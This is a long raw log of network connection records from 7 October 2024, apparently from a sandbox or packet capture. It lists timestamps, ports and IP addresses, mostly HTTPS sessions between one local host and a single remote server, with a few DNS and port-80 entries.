Oct 7, 2024 18:43:56.082621098 CEST	49927	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.082649946 CEST	49927	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.082668066 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.082679033 CEST	49927	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.082684994 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.086036921 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.086093903 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.086157084 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.086327076 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.086343050 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.213046074 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:56.252856016 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.253318071 CEST	49928	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.253341913 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.253774881 CEST	49928	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.253782034 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.556587934 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.556679010 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.556730032 CEST	49928	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.556858063 CEST	49928	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.556874990 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.556884050 CEST	49928	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.556889057 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.559225082 CEST	49933	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.559269905 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.559329033 CEST	49933	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.559449911 CEST	49933	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.559457064 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.733371973 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.734132051 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.734200001 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.734306097 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.734322071 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.741075039 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.741400003 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.741420031 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.741741896 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.741746902 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.743612051 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.743916035 CEST	49929	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.743925095 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.744232893 CEST	49929	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.744237900 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.745480061 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.745707989 CEST	49931	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.745722055 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.746001005 CEST	49931	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.746006966 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.829967976 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.830149889 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.830200911 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.830212116 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.830281973 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.830471992 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.830492020 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.830507040 CEST	49932	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.830512047 CEST	443	49932	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.835107088 CEST	49934	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.835165977 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.835242033 CEST	49934	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.835484028 CEST	49934	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.835495949 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.841097116 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.841185093 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.841243982 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.841273069 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.841409922 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.841420889 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.841434002 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.841439962 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.844242096 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.844269991 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.844331026 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.844458103 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.844469070 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.924380064 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.925823927 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.925895929 CEST	49931	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.925962925 CEST	49931	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.925982952 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.925992966 CEST	49931	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.925997972 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.928651094 CEST	49936	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.928714037 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.928791046 CEST	49936	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.928927898 CEST	49936	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.928941011 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.929157019 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.929231882 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.929354906 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.929438114 CEST	49929	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.929580927 CEST	49929	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.929595947 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.929606915 CEST	49929	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.929611921 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.931489944 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.931581974 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.931659937 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.931782961 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:56.931806087 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.219767094 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.220295906 CEST	49933	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.220340014 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.220766068 CEST	49933	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.220773935 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.318037033 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.318433046 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.318514109 CEST	49933	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.318567991 CEST	49933	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.318588018 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.318600893 CEST	49933	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.318608999 CEST	443	49933	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.321341991 CEST	49938	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.321387053 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.321466923 CEST	49938	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.321594000 CEST	49938	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.321609020 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.464915037 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.465406895 CEST	49934	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.465450048 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.465862989 CEST	49934	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.465868950 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.499289989 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.502129078 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.502159119 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.502706051 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.502712011 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.574971914 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.581325054 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.581440926 CEST	49934	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.581547976 CEST	49934	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.581574917 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.581590891 CEST	49934	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.581598997 CEST	443	49934	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.584381104 CEST	49939	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.584435940 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.584496021 CEST	49939	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.584671021 CEST	49939	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.584682941 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.624763012 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.624840021 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.624900103 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.624946117 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.624983072 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.625030994 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.625092030 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.625092030 CEST	49935	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.625114918 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.625127077 CEST	443	49935	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.626585007 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.629278898 CEST	49936	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.629313946 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.629700899 CEST	49936	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.629705906 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.630171061 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.630531073 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.630568981 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.630856991 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.630870104 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.632153034 CEST	49940	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.632229090 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.632308960 CEST	49940	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.632411003 CEST	49940	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.632431030 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.853163004 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.853239059 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.853337049 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.853352070 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.853408098 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.853599072 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.853642941 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.853677034 CEST	49937	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.853693962 CEST	443	49937	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.856162071 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.856204033 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.856286049 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.856399059 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.856410980 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.859411955 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.859586000 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.859642982 CEST	49936	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.859692097 CEST	49936	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.859711885 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.859728098 CEST	49936	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.859733105 CEST	443	49936	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.861654997 CEST	49942	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.861671925 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:57.861871004 CEST	49942	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.862030029 CEST	49942	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:57.862040997 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.292552948 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.293004990 CEST	49938	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.293076038 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.293684006 CEST	49938	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.293699026 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.317713976 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.318207979 CEST	49940	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.318237066 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.318655014 CEST	49940	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.318661928 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.364967108 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.365442038 CEST	49939	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.365468025 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.365884066 CEST	49939	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.365889072 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.390038013 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.390208960 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.390289068 CEST	49938	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.391031027 CEST	49938	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.391081095 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.391113043 CEST	49938	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.391129017 CEST	443	49938	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.395335913 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.395456076 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.395551920 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.396480083 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.396562099 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.415239096 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.415453911 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.415527105 CEST	49940	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.415581942 CEST	49940	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.415581942 CEST	49940	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.415615082 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.415637970 CEST	443	49940	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.417512894 CEST	49944	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.417592049 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.417678118 CEST	49944	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.417771101 CEST	49944	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.417790890 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.461649895 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.462307930 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.462372065 CEST	49939	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.469147921 CEST	49939	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.469178915 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.469192028 CEST	49939	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.469197989 CEST	443	49939	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.474390030 CEST	49945	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.474495888 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.474582911 CEST	49945	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.476479053 CEST	49945	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.476510048 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.519556999 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:58.525289059 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.525748968 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.525785923 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.526206970 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.526211977 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.566446066 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.567127943 CEST	49942	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.567162037 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.567603111 CEST	49942	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.567610025 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.665597916 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.665626049 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.665676117 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.665680885 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.665719986 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.665880919 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.665904045 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.665915012 CEST	49941	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.665920973 CEST	443	49941	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.668488026 CEST	49946	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.668534994 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.668602943 CEST	49946	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.668730974 CEST	49946	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.668744087 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.678227901 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.678469896 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.678524971 CEST	49942	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.678567886 CEST	49942	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.678575993 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.678584099 CEST	49942	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.678587914 CEST	443	49942	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.680546999 CEST	49947	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.680630922 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.680701971 CEST	49947	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.680792093 CEST	49947	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:58.680811882 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:58.874260902 CEST	64603	53	192.168.2.7	162.159.36.2
Oct 7, 2024 18:43:58.879358053 CEST	53	64603	162.159.36.2	192.168.2.7
Oct 7, 2024 18:43:58.879549980 CEST	64603	53	192.168.2.7	162.159.36.2
Oct 7, 2024 18:43:58.879549980 CEST	64603	53	192.168.2.7	162.159.36.2
Oct 7, 2024 18:43:58.884762049 CEST	53	64603	162.159.36.2	192.168.2.7
Oct 7, 2024 18:43:59.112581968 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.113562107 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.113585949 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.114027023 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.114032984 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.181759119 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.182183981 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.182729006 CEST	49945	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.182755947 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.183176994 CEST	49945	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.183187962 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.183480024 CEST	49944	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.183514118 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.183871031 CEST	49944	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.183877945 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.209847927 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.210028887 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.210093975 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.210119963 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.210156918 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.210211039 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.210280895 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.210298061 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.210308075 CEST	49943	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.210313082 CEST	443	49943	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.212980986 CEST	64604	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.213033915 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.213227987 CEST	64604	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.213274956 CEST	64604	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.213282108 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.276149988 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.276436090 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.276556015 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.276741028 CEST	49945	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.276741028 CEST	49945	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.279406071 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.279452085 CEST	49945	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.279478073 CEST	443	49945	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.279608011 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.280071974 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.280112982 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.280117989 CEST	49944	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.280158043 CEST	49944	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.280175924 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.280189037 CEST	49944	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.280194044 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.280196905 CEST	443	49944	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.280394077 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.280409098 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.282715082 CEST	64606	443	192.168.2.7	13.107.246.45
